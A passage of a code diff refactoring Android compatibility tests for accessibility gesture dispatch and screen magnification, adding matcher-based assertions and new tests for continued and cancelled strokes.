         mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
-        waitForUpEvent();
+        waitForMotionEvents(IS_ACTION_UP, 1);
+
         int numEvents = mMotionEvents.size();
 
         MotionEvent downEvent = mMotionEvents.get(0);
-        assertEquals(MotionEvent.ACTION_DOWN, downEvent.getActionMasked());
-        assertEquals(startXInsideView, (int) downEvent.getX());
-        assertEquals(startYInsideView, (int) downEvent.getY());
-
         MotionEvent upEvent = mMotionEvents.get(numEvents - 1);
-        assertEquals(MotionEvent.ACTION_UP, upEvent.getActionMasked());
-        assertEquals(endXInsideView, (int) upEvent.getX());
-        assertEquals(endYInsideView, (int) upEvent.getY());
+        assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint)));
+        assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint)));
         assertEquals(gestureTime, upEvent.getEventTime() - downEvent.getEventTime());
 
         long lastEventTime = downEvent.getEventTime();
         for (int i = 1; i < numEvents - 1; i++) {
             MotionEvent moveEvent = mMotionEvents.get(i);
-            assertEquals(MotionEvent.ACTION_MOVE, moveEvent.getActionMasked());
             assertTrue(moveEvent.getEventTime() >= lastEventTime);
             float fractionOfSwipe =
                     ((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
-            float fractionX = ((float) (endXInsideView - startXInsideView)) * fractionOfSwipe;
-            float fractionY = ((float) (endYInsideView - startYInsideView)) * fractionOfSwipe;
-            assertEquals(startXInsideView + fractionX, moveEvent.getX(), swipeTolerance);
-            assertEquals(startYInsideView + fractionY, moveEvent.getY(), swipeTolerance);
+            float fractionX = ((float) (endPoint.x - startPoint.x)) * fractionOfSwipe + 0.5f;
+            float fractionY = ((float) (endPoint.y - startPoint.y)) * fractionOfSwipe + 0.5f;
+            Point intermediatePoint = new Point(startPoint);
+            intermediatePoint.offset((int) fractionX, (int) fractionY);
+            assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
             lastEventTime = moveEvent.getEventTime();
         }
     }
@@ -219,40 +221,24 @@
             return;
         }
 
-        int startXInsideView = 10;
-        int startYInsideView = 20;
-        int endXInsideView = 11;
-        int endYInsideView = 22;
-        int startX = startXInsideView + mViewBounds.left;
-        int startY = startYInsideView + mViewBounds.top;
-        int endX = endXInsideView + mViewBounds.left;
-        int endY = endYInsideView + mViewBounds.top;
+        Point startPoint = new Point(10, 20);
+        Point intermediatePoint1 = new Point(10, 21);
+        Point intermediatePoint2 = new Point(11, 21);
+        Point intermediatePoint3 = new Point(11, 22);
+        Point endPoint = new Point(11, 22);
         int gestureTime = 1000;
 
-        GestureDescription swipe = createSwipe(startX, startY, endX, endY, gestureTime);
+        GestureDescription swipe = createSwipeInViewBounds(startPoint, endPoint, gestureTime);
         mService.runOnServiceSync(() -> mService.doDispatchGesture(swipe, mCallback, null));
         mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
-        waitForUpEvent();
+        waitForMotionEvents(IS_ACTION_UP, 1);
 
         assertEquals(5, mMotionEvents.size());
-
-        assertEquals(MotionEvent.ACTION_DOWN, mMotionEvents.get(0).getActionMasked());
-        assertEquals(MotionEvent.ACTION_MOVE, mMotionEvents.get(1).getActionMasked());
-        assertEquals(MotionEvent.ACTION_MOVE, mMotionEvents.get(2).getActionMasked());
-        assertEquals(MotionEvent.ACTION_MOVE, mMotionEvents.get(3).getActionMasked());
-        assertEquals(MotionEvent.ACTION_UP, mMotionEvents.get(4).getActionMasked());
-
-        assertEquals(startXInsideView, (int) mMotionEvents.get(0).getX());
-        assertEquals(startXInsideView, (int) mMotionEvents.get(1).getX());
-        assertEquals(startXInsideView + 1, (int) mMotionEvents.get(2).getX());
-        assertEquals(startXInsideView + 1, (int) mMotionEvents.get(3).getX());
-        assertEquals(startXInsideView + 1, (int) mMotionEvents.get(4).getX());
-
-        assertEquals(startYInsideView, (int) mMotionEvents.get(0).getY());
-        assertEquals(startYInsideView + 1, (int) mMotionEvents.get(1).getY());
-        assertEquals(startYInsideView + 1, (int) mMotionEvents.get(2).getY());
-        assertEquals(startYInsideView + 2, (int) mMotionEvents.get(3).getY());
-        assertEquals(startYInsideView + 2, (int) mMotionEvents.get(4).getY());
+        assertThat(mMotionEvents.get(0), both(IS_ACTION_DOWN).and(isAtPoint(startPoint)));
+        assertThat(mMotionEvents.get(1), both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint1)));
+        assertThat(mMotionEvents.get(2), both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint2)));
+        assertThat(mMotionEvents.get(3), both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint3)));
+        assertThat(mMotionEvents.get(4), both(IS_ACTION_UP).and(isAtPoint(endPoint)));
     }
 
     public void testAngledPinch_looksReasonable() throws InterruptedException {
@@ -260,71 +246,42 @@
             return;
         }
 
-        int centerXInsideView = 50;
-        int centerYInsideView = 60;
-        int centerX = centerXInsideView + mViewBounds.left;
-        int centerY = centerYInsideView + mViewBounds.top;
+        Point centerPoint = new Point(50, 60);
         int startSpacing = 100;
         int endSpacing = 50;
         int gestureTime = 500;
         float pinchTolerance = 2.0f;
 
-        GestureDescription pinch = createPinch(centerX, centerY, startSpacing,
+        GestureDescription pinch = createPinchInViewBounds(centerPoint, startSpacing,
                 endSpacing, 45.0F, gestureTime);
         mService.runOnServiceSync(() -> mService.doDispatchGesture(pinch, mCallback, null));
         mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
-        waitForUpEvent();
+        waitForMotionEvents(IS_ACTION_UP, 1);
         int numEvents = mMotionEvents.size();
 
-        // First two events are the initial down and the pointer down
-        assertEquals(MotionEvent.ACTION_DOWN, mMotionEvents.get(0).getActionMasked());
-        assertEquals(MotionEvent.ACTION_POINTER_DOWN, mMotionEvents.get(1).getActionMasked());
+        // First and last two events are the pointers going down and up
+        assertThat(mMotionEvents.get(0), IS_ACTION_DOWN);
+        assertThat(mMotionEvents.get(1), IS_ACTION_POINTER_DOWN);
+        assertThat(mMotionEvents.get(numEvents - 2), IS_ACTION_POINTER_UP);
+        assertThat(mMotionEvents.get(numEvents - 1), IS_ACTION_UP);
+        // The rest of the events are all moves
+        assertEquals(numEvents - 4, getEventsMatching(IS_ACTION_MOVE).size());
 
-        // The second event must have two pointers at the initial spacing along a 45 degree angle
-        MotionEvent firstEventWithTwoPointers = mMotionEvents.get(1);
-        assertEquals(2, firstEventWithTwoPointers.getPointerCount());
-        MotionEvent.PointerCoords coords0 = new MotionEvent.PointerCoords();
-        MotionEvent.PointerCoords coords1 = new MotionEvent.PointerCoords();
-        firstEventWithTwoPointers.getPointerCoords(0, coords0);
-        firstEventWithTwoPointers.getPointerCoords(1, coords1);
-        // Verify center point
-        assertEquals((float) centerXInsideView, (coords0.x + coords1.x) / 2, pinchTolerance);
-        assertEquals((float) centerYInsideView, (coords0.y + coords1.y) / 2, pinchTolerance);
-        // Verify angle
-        assertEquals(coords0.x - centerXInsideView, coords0.y - centerYInsideView, pinchTolerance);
-        assertEquals(coords1.x - centerXInsideView, coords1.y - centerYInsideView, pinchTolerance);
-        // Verify spacing
-        assertEquals(startSpacing, distance(coords0, coords1), pinchTolerance);
-
-        // The last two events are the pointer up and the final up
-        assertEquals(MotionEvent.ACTION_UP, mMotionEvents.get(numEvents - 1).getActionMasked());
-
-        MotionEvent lastEventWithTwoPointers = mMotionEvents.get(numEvents - 2);
-        assertEquals(MotionEvent.ACTION_POINTER_UP, lastEventWithTwoPointers.getActionMasked());
-        lastEventWithTwoPointers.getPointerCoords(0, coords0);
-        lastEventWithTwoPointers.getPointerCoords(1, coords1);
-        // Verify center point
-        assertEquals((float) centerXInsideView, (coords0.x + coords1.x) / 2, pinchTolerance);
-        assertEquals((float) centerYInsideView, (coords0.y + coords1.y) / 2, pinchTolerance);
-        // Verify angle
-        assertEquals(coords0.x - centerXInsideView, coords0.y - centerYInsideView, pinchTolerance);
-        assertEquals(coords1.x - centerXInsideView, coords1.y - centerYInsideView, pinchTolerance);
-        // Verify spacing
-        assertEquals(endSpacing, distance(coords0, coords1), pinchTolerance);
-
+        // All but the first and last events have two pointers
         float lastSpacing = startSpacing;
-        for (int i = 2; i < numEvents - 2; i++) {
-            MotionEvent eventInMiddle = mMotionEvents.get(i);
-            assertEquals(MotionEvent.ACTION_MOVE, eventInMiddle.getActionMasked());
-            eventInMiddle.getPointerCoords(0, coords0);
-            eventInMiddle.getPointerCoords(1, coords1);
+        for (int i = 1; i < numEvents - 1; i++) {
+            MotionEvent.PointerCoords coords0 = new MotionEvent.PointerCoords();
+            MotionEvent.PointerCoords coords1 = new MotionEvent.PointerCoords();
+            MotionEvent event = mMotionEvents.get(i);
+            event.getPointerCoords(0, coords0);
+            event.getPointerCoords(1, coords1);
             // Verify center point
-            assertEquals((float) centerXInsideView, (coords0.x + coords1.x) / 2, pinchTolerance);
-            assertEquals((float) centerYInsideView, (coords0.y + coords1.y) / 2, pinchTolerance);
+            assertEquals((float) centerPoint.x, (coords0.x + coords1.x) / 2, pinchTolerance);
+            assertEquals((float) centerPoint.y, (coords0.y + coords1.y) / 2, pinchTolerance);
             // Verify angle
-            assertEquals(coords0.x - centerXInsideView, coords0.y - centerYInsideView,
+            assertEquals(coords0.x - centerPoint.x, coords0.y - centerPoint.y,
                     pinchTolerance);
-            assertEquals(coords1.x - centerXInsideView, coords1.y - centerYInsideView,
+            assertEquals(coords1.x - centerPoint.x, coords1.y - centerPoint.y,
                     pinchTolerance);
             float spacing = distance(coords0, coords1);
             assertTrue(spacing <= lastSpacing + pinchTolerance);
@@ -336,38 +293,44 @@
     // This test assumes device's screen contains its center (W/2, H/2) with some surroundings
     // and should work for rectangular, round and round with chin screens.
     public void testClickWhenMagnified_matchesActualTouch() throws InterruptedException {
+        final float POINT_TOL = 2.0f;
+        final float CLICK_SHIFT_FROM_CENTER_X = 10;
+        final float CLICK_SHIFT_FROM_CENTER_Y = 20;
+        final float MAGNIFICATION_FACTOR = 2;
         if (!mHasTouchScreen) {
             return;
         }
 
-        final int clickShiftFromCenterX = 10;
-        final int clickShiftFromCenterY = 20;
-        final Resources res = getInstrumentation().getTargetContext().getResources();
-        final DisplayMetrics metrics = res.getDisplayMetrics();
-        final int centerX = metrics.widthPixels / 2;
-        final int centerY = metrics.heightPixels / 2;
-        final float TOUCH_TOLERANCE = 2.0f;
+        final WindowManager wm = (WindowManager) getInstrumentation().getContext().getSystemService(
+                Context.WINDOW_SERVICE);
+        final DisplayMetrics metrics = new DisplayMetrics();
+        wm.getDefaultDisplay().getMetrics(metrics);
+        final float centerX = metrics.widthPixels / 2;
+        final float centerY = metrics.heightPixels / 2;
+        final PointF clickPoint = new PointF(
+                centerX + CLICK_SHIFT_FROM_CENTER_X * MAGNIFICATION_FACTOR,
+                centerY + CLICK_SHIFT_FROM_CENTER_Y * MAGNIFICATION_FACTOR);
+        final PointF offsetMagnifiedPointInView = new PointF(
+                centerX + CLICK_SHIFT_FROM_CENTER_X - mViewBounds.left,
+                centerY + CLICK_SHIFT_FROM_CENTER_Y - mViewBounds.top);
 
         StubMagnificationAccessibilityService magnificationService =
-                StubMagnificationAccessibilityService.enableSelf(this);
+                StubMagnificationAccessibilityService.enableSelf(getInstrumentation());
         android.accessibilityservice.AccessibilityService.MagnificationController
                 magnificationController = magnificationService.getMagnificationController();
         try {
             // Magnify screen by 2x with a magnification center in the center of the screen
             final AtomicBoolean setScale = new AtomicBoolean();
-            final float magnificationFactor = 2.0f;
             magnificationService.runOnServiceSync(() -> {
-                        setScale.set(magnificationController.setScale(magnificationFactor, false));
+                        setScale.set(magnificationController.setScale(MAGNIFICATION_FACTOR, false));
                         magnificationController.setCenter(centerX, centerY, false);
                     });
             assertTrue("Failed to set scale", setScale.get());
 
-            final int clickMagnifiedX = (int) (centerX + magnificationFactor * clickShiftFromCenterX);
-            final int clickMagnifiedY = (int) (centerY + magnificationFactor * clickShiftFromCenterY);
-            GestureDescription click = createClick(clickMagnifiedX, clickMagnifiedY);
+            GestureDescription click = createClick(clickPoint);
             mService.runOnServiceSync(() -> mService.doDispatchGesture(click, mCallback, null));
             mCallback.assertGestureCompletes(GESTURE_COMPLETION_TIMEOUT);
-            waitForMotionEvents(3);
+            waitForMotionEvents(any(MotionEvent.class), 2);
         } finally {
             // Reset magnification
             final AtomicBoolean result = new AtomicBoolean();
@@ -378,23 +341,135 @@
         }
 
         assertEquals(2, mMotionEvents.size());
-        MotionEvent clickDown = mMotionEvents.get(0);
-        MotionEvent clickUp = mMotionEvents.get(1);
-
-        final int centerXInsideView = centerX - mViewBounds.left;
-        final int centerYInsideView = centerY - mViewBounds.top;
-        final int expectedClickXInsideView = centerXInsideView + clickShiftFromCenterX;
-        final int expectedClickYInsideView = centerYInsideView + clickShiftFromCenterY;
-        assertEquals(MotionEvent.ACTION_DOWN, clickDown.getActionMasked());
-        assertEquals((float) expectedClickXInsideView, clickDown.getX(), TOUCH_TOLERANCE);
-        assertEquals((float) expectedClickYInsideView, clickDown.getY(), TOUCH_TOLERANCE);
-        assertEquals(clickDown.getDownTime(), clickDown.getEventTime());
-
-        assertEquals(MotionEvent.ACTION_UP, clickUp.getActionMasked());
-        assertEquals((float) expectedClickXInsideView, clickUp.getX(), TOUCH_TOLERANCE);
-        assertEquals((float) expectedClickYInsideView, clickUp.getY(), TOUCH_TOLERANCE);
+        assertThat(mMotionEvents.get(0),
+                both(IS_ACTION_DOWN).and(isAtPoint(offsetMagnifiedPointInView, POINT_TOL)));
+        assertThat(mMotionEvents.get(1),
+                both(IS_ACTION_UP).and(isAtPoint(offsetMagnifiedPointInView, POINT_TOL)));
     }
 
+    public void testContinuedGestures_motionEventsContinue() throws Exception {
+        if (!mHasTouchScreen) {
+            return;
+        }
+
+        Point start = new Point(10, 20);
+        Point mid1 = new Point(20, 20);
+        Point mid2 = new Point(20, 25);
+        Point end = new Point(20, 30);
+        int gestureTime = 500;
+
+        StrokeDescription s1 = new StrokeDescription(
+                linePathInViewBounds(start, mid1), 0, gestureTime, true);
+        StrokeDescription s2 = s1.continueStroke(
+                linePathInViewBounds(mid1, mid2), 0, gestureTime, true);
+        StrokeDescription s3 = s2.continueStroke(
+                linePathInViewBounds(mid2, end), 0, gestureTime, false);
+        GestureDescription gesture1 = new GestureDescription.Builder().addStroke(s1).build();
+        GestureDescription gesture2 = new GestureDescription.Builder().addStroke(s2).build();
+        GestureDescription gesture3 = new GestureDescription.Builder().addStroke(s3).build();
+
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
+        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        mCallback.reset();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
+        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        mCallback.reset();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture3, mCallback, null));
+        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        waitForMotionEvents(IS_ACTION_UP, 1);
+
+        assertThat(mMotionEvents.get(0), allOf(IS_ACTION_DOWN, isAtPoint(start)));
+        assertThat(mMotionEvents.subList(1, mMotionEvents.size() - 1), everyItem(IS_ACTION_MOVE));
+        assertThat(mMotionEvents, hasItem(isAtPoint(mid1)));
+        assertThat(mMotionEvents, hasItem(isAtPoint(mid2)));
+        assertThat(mMotionEvents.get(mMotionEvents.size() - 1),
+                allOf(IS_ACTION_UP, isAtPoint(end)));
+    }
+
+    public void testContinuedGesture_withLineDisconnect_isCancelled() throws Exception {
+        if (!mHasTouchScreen) {
+            return;
+        }
+
+        Point startPoint = new Point(10, 20);
+        Point midPoint = new Point(20, 20);
+        Point endPoint = new Point(20, 30);
+        int gestureTime = 500;
+
+        StrokeDescription stroke1 = new StrokeDescription(
+                linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
+        GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
+        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+        waitForMotionEvents(both(IS_ACTION_MOVE).and(isAtPoint(midPoint)), 1);
+
+        StrokeDescription stroke2 = stroke1.continueStroke(
+                linePathInViewBounds(endPoint, midPoint), 0, gestureTime, false);
+        GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
+        mCallback.reset();
+        mMotionEvents.clear();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
+        mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+
+        waitForMotionEvents(IS_ACTION_CANCEL, 1);
+        assertEquals(1, mMotionEvents.size());
+    }
+
+    public void testContinuedGesture_nextGestureDoesntContinue_isCancelled() throws Exception {
+        if (!mHasTouchScreen) {
+            return;
+        }
+
+        Point startPoint = new Point(10, 20);
+        Point midPoint = new Point(20, 20);
+        Point endPoint = new Point(20, 30);
+        int gestureTime = 500;
+
+        StrokeDescription stroke1 = new StrokeDescription(
+                linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
+        GestureDescription gesture1 = new GestureDescription.Builder().addStroke(stroke1).build();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture1, mCallback, null));
+        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+
+        StrokeDescription stroke2 = new StrokeDescription(
+                linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
+        GestureDescription gesture2 = new GestureDescription.Builder().addStroke(stroke2).build();
+        mCallback.reset();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture2, mCallback, null));
+        mCallback.assertGestureCompletes(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+
+        waitForMotionEvents(IS_ACTION_UP, 1);
+
+        List<MotionEvent> cancelEvent = getEventsMatching(IS_ACTION_CANCEL);
+        assertEquals(1, cancelEvent.size());
+        // Confirm that a down follows the cancel
+        assertThat(mMotionEvents.get(mMotionEvents.indexOf(cancelEvent.get(0)) + 1),
+                both(IS_ACTION_DOWN).and(isAtPoint(midPoint)));
+        // Confirm that the last point is an up
+        assertThat(mMotionEvents.get(mMotionEvents.size() - 1),
+                both(IS_ACTION_UP).and(isAtPoint(endPoint)));
+    }
+
+    public void testContinuingGesture_withNothingToContinue_isCancelled() {
+        if (!mHasTouchScreen) {
+            return;
+        }
+
+        Point startPoint = new Point(10, 20);
+        Point midPoint = new Point(20, 20);
+        Point endPoint = new Point(20, 30);
+        int gestureTime = 500;
+
+        StrokeDescription stroke1 = new StrokeDescription(
+                linePathInViewBounds(startPoint, midPoint), 0, gestureTime, true);
+
+        StrokeDescription stroke2 = stroke1.continueStroke(
+                linePathInViewBounds(midPoint, endPoint), 0, gestureTime, false);
+        GestureDescription gesture = new GestureDescription.Builder().addStroke(stroke2).build();
+        mCallback.reset();
+        mService.runOnServiceSync(() -> mService.doDispatchGesture(gesture, mCallback, null));
+        mCallback.assertGestureCancels(gestureTime + GESTURE_COMPLETION_TIMEOUT);
+    }
 
     public static class GestureDispatchActivity extends AccessibilityTestActivity {
         public GestureDispatchActivity() {
@@ -433,27 +508,51 @@
             } catch (InterruptedException e) {
                 throw new RuntimeException(e);
             }
-            assertTrue("Gesture did not complete.", mCompleted);
+            assertTrue("Gesture did not complete. Canceled = " + mCancelled, mCompleted);
+        }
+
+        public synchronized void assertGestureCancels(long timeout) {
+            if (mCancelled) {
+                return;
+            }
+            try {
+                wait(timeout);
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+            assertTrue("Gesture did not cancel. Completed = " + mCompleted, mCancelled);
+        }
+
+        public synchronized void reset() {
+            mCancelled = false;
+            mCompleted = false;
         }
     }
 
-    private void waitForMotionEvents(int numEventsExpected) throws InterruptedException {
+    private void waitForMotionEvents(Matcher<MotionEvent> matcher, int numEventsExpected)
+            throws InterruptedException {
         synchronized (mMotionEvents) {
             long endMillis = SystemClock.uptimeMillis() + MOTION_EVENT_TIMEOUT;
-            while ((mMotionEvents.size() < numEventsExpected)
-                    && (SystemClock.uptimeMillis() < endMillis)) {
+            boolean gotEvents = getEventsMatching(matcher).size() >= numEventsExpected;
+            while (!gotEvents && (SystemClock.uptimeMillis() < endMillis)) {
                 mMotionEvents.wait(endMillis - SystemClock.uptimeMillis());
+                gotEvents = getEventsMatching(matcher).size() >= numEventsExpected;
             }
+            assertTrue("Did not receive required events. Got:\n" + mMotionEvents + "\n filtered:\n"
+                    + getEventsMatching(matcher), gotEvents);
         }
     }
 
-    private void waitForUpEvent() throws InterruptedException {
+    private List<MotionEvent> getEventsMatching(Matcher<MotionEvent> matcher) {
+        List<MotionEvent> events = new ArrayList<>();
         synchronized (mMotionEvents) {
-            long endMillis = SystemClock.uptimeMillis() + MOTION_EVENT_TIMEOUT;
-            while (!mGotUpEvent && (SystemClock.uptimeMillis() < endMillis)) {
-                mMotionEvents.wait(endMillis - SystemClock.uptimeMillis());
+            for (MotionEvent event : mMotionEvents) {
+                if (matcher.matches(event)) {
+                    events.add(event);
+                }
             }
         }
+        return events;
     }
 
     private float distance(MotionEvent.PointerCoords point1, MotionEvent.PointerCoords point2) {
@@ -474,45 +573,53 @@
         }
     }
 
-    private GestureDescription createClick(int x, int y) {
+    private GestureDescription createClickInViewBounds(Point clickPoint) {
+        Point offsetClick = new Point(clickPoint);
+        offsetClick.offset(mViewBounds.left, mViewBounds.top);
+        return createClick(offsetClick);
+    }
+
+    private GestureDescription createClick(Point clickPoint) {
+        return createClick(new PointF(clickPoint.x, clickPoint.y));
+    }
+
+    private GestureDescription createClick(PointF clickPoint) {
         Path clickPath = new Path();
-        clickPath.moveTo(x, y);
-        GestureDescription.StrokeDescription clickStroke =
-                new GestureDescription.StrokeDescription(clickPath, 0, ViewConfiguration.getTapTimeout());
+        clickPath.moveTo(clickPoint.x, clickPoint.y);
+        StrokeDescription clickStroke =
+                new StrokeDescription(clickPath, 0, ViewConfiguration.getTapTimeout());
         GestureDescription.Builder clickBuilder = new GestureDescription.Builder();
         clickBuilder.addStroke(clickStroke);
         return clickBuilder.build();
     }
 
-    private GestureDescription createLongClick(int x, int y) {
+    private GestureDescription createLongClickInViewBounds(Point clickPoint) {
+        Point offsetPoint = new Point(clickPoint);
+        offsetPoint.offset(mViewBounds.left, mViewBounds.top);
         Path clickPath = new Path();
-        clickPath.moveTo(x, y);
+        clickPath.moveTo(offsetPoint.x, offsetPoint.y);
         int longPressTime = ViewConfiguration.getLongPressTimeout();
 
-        GestureDescription.StrokeDescription longClickStroke =
-                new GestureDescription.StrokeDescription(clickPath, 0, longPressTime + (longPressTime / 2));
+        StrokeDescription longClickStroke =
+                new StrokeDescription(clickPath, 0, longPressTime + (longPressTime / 2));
         GestureDescription.Builder longClickBuilder = new GestureDescription.Builder();
         longClickBuilder.addStroke(longClickStroke);
         return longClickBuilder.build();
     }
 
-    private GestureDescription createSwipe(
-            int startX, int startY, int endX, int endY, long duration) {
-        Path swipePath = new Path();
-        swipePath.moveTo(startX, startY);
-        swipePath.lineTo(endX, endY);
-
-        GestureDescription.StrokeDescription swipeStroke = new GestureDescription.StrokeDescription(swipePath, 0, duration);
-        GestureDescription.Builder swipeBuilder = new GestureDescription.Builder();
-        swipeBuilder.addStroke(swipeStroke);
-        return swipeBuilder.build();
+    private GestureDescription createSwipeInViewBounds(Point start, Point end, long duration) {
+        return new GestureDescription.Builder().addStroke(
+                new StrokeDescription(linePathInViewBounds(start, end), 0, duration, false))
+                .build();
     }
 
-    private GestureDescription createPinch(int centerX, int centerY, int startSpacing,
+    private GestureDescription createPinchInViewBounds(Point centerPoint, int startSpacing,
             int endSpacing, float orientation, long duration) {
         if ((startSpacing < 0) || (endSpacing < 0)) {
             throw new IllegalArgumentException("Pinch spacing cannot be negative");
         }
+        Point offsetCenter = new Point(centerPoint);
+        offsetCenter.offset(mViewBounds.left, mViewBounds.top);
         float[] startPoint1 = new float[2];
         float[] endPoint1 = new float[2];
         float[] startPoint2 = new float[2];
@@ -531,7 +638,7 @@
         /* Rotate and translate the points */
         Matrix matrix = new Matrix();
         matrix.setRotate(orientation);
-        matrix.postTranslate(centerX, centerY);
+        matrix.postTranslate(offsetCenter.x, offsetCenter.y);
         matrix.mapPoints(startPoint1);
         matrix.mapPoints(endPoint1);
         matrix.mapPoints(startPoint2);
@@ -544,11 +651,56 @@
         path2.moveTo(startPoint2[0], startPoint2[1]);
         path2.lineTo(endPoint2[0], endPoint2[1]);
 
-        GestureDescription.StrokeDescription path1Stroke = new GestureDescription.StrokeDescription(path1, 0, duration);
-        GestureDescription.StrokeDescription path2Stroke = new GestureDescription.StrokeDescription(path2, 0, duration);
+        StrokeDescription path1Stroke = new StrokeDescription(path1, 0, duration);
+        StrokeDescription path2Stroke = new StrokeDescription(path2, 0, duration);
         GestureDescription.Builder swipeBuilder = new GestureDescription.Builder();
         swipeBuilder.addStroke(path1Stroke);
         swipeBuilder.addStroke(path2Stroke);
         return swipeBuilder.build();
     }
+
+    Path linePathInViewBounds(Point startPoint, Point endPoint) {
+        Path path = new Path();
+        path.moveTo(startPoint.x + mViewBounds.left, startPoint.y + mViewBounds.top);
+        path.lineTo(endPoint.x + mViewBounds.left, endPoint.y + mViewBounds.top);
+        return path;
+    }
+
+    private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
+        int mAction;
+
+        MotionEventActionMatcher(int action) {
+            super();
+            mAction = action;
+        }
+
+        @Override
+        protected boolean matchesSafely(MotionEvent motionEvent) {
+            return motionEvent.getActionMasked() == mAction;
+        }
+
+        @Override
+        public void describeTo(Description description) {
+            description.appendText("Matching to action " + mAction);
+        }
+    }
+
+
+    Matcher<MotionEvent> isAtPoint(final Point point) {
+        return isAtPoint(new PointF(point.x, point.y), 0.01f);
+    }
+
+    Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
+        return new TypeSafeMatcher<MotionEvent>() {
+            @Override
+            protected boolean matchesSafely(MotionEvent event) {
+                return Math.hypot(event.getX() - point.x, event.getY() - point.y) < tol;
+            }
+
+            @Override
+            public void describeTo(Description description) {
+                description.appendText("Matching to point " + point);
+            }
+        };
+    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index b6dcd9d..791479e 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -19,11 +19,13 @@
 import android.accessibilityservice.AccessibilityService.MagnificationController;
 import android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener;
 import android.accessibilityservice.AccessibilityServiceInfo;
-import android.content.res.Resources;
+import android.app.Instrumentation;
+import android.content.Context;
 import android.graphics.Region;
 import android.provider.Settings;
 import android.test.InstrumentationTestCase;
 import android.util.DisplayMetrics;
+import android.view.WindowManager;
 
 import java.util.concurrent.atomic.AtomicBoolean;
 
@@ -39,16 +41,18 @@
     public static final String ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED =
             "accessibility_display_magnification_enabled";
     private StubMagnificationAccessibilityService mService;
+    private Instrumentation mInstrumentation;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        ShellCommandBuilder.create(this)
+        ShellCommandBuilder.create(this.getInstrumentation())
                 .deleteSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED)
                 .run();
+        mInstrumentation = getInstrumentation();
         // Starting the service will force the accessibility subsystem to examine its settings, so
         // it will update magnification in the process to disable it.
-        mService = StubMagnificationAccessibilityService.enableSelf(this);
+        mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
     }
 
     @Override
@@ -79,8 +83,10 @@
 
     public void testSetScaleAndCenter() {
         final MagnificationController controller = mService.getMagnificationController();
-        final Resources res = getInstrumentation().getTargetContext().getResources();
-        final DisplayMetrics metrics = res.getDisplayMetrics();
+        final WindowManager wm = (WindowManager) mInstrumentation.getContext().getSystemService(
+                Context.WINDOW_SERVICE);
+        final DisplayMetrics metrics = new DisplayMetrics();
+        wm.getDefaultDisplay().getMetrics(metrics);
         final float scale = 2.0f;
         final float x = metrics.widthPixels / 4.0f;
         final float y = metrics.heightPixels / 4.0f;
@@ -138,7 +144,7 @@
         mService.runOnServiceSync(() -> mService.disableSelf());
         mService = null;
         InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                this, InstrumentedAccessibilityService.class);
+                mInstrumentation, InstrumentedAccessibilityService.class);
         final MagnificationController controller2 = service.getMagnificationController();
         try {
             assertEquals("Magnification must reset when a service dies",
@@ -159,7 +165,7 @@
         mService.runOnServiceSync(() -> mService.disableSelf());
         mService = null;
         InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                this, InstrumentedAccessibilityService.class);
+                mInstrumentation, InstrumentedAccessibilityService.class);
         try {
             final MagnificationController controller = service.getMagnificationController();
             Region magnificationRegion = controller.getMagnificationRegion();
@@ -171,13 +177,13 @@
     }
 
     public void testGetMagnificationRegion_whenMagnificationGesturesEnabled_shouldNotBeEmpty() {
-        ShellCommandBuilder.create(this)
+        ShellCommandBuilder.create(mInstrumentation)
                 .putSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, "1")
                 .run();
         mService.runOnServiceSync(() -> mService.disableSelf());
         mService = null;
         InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
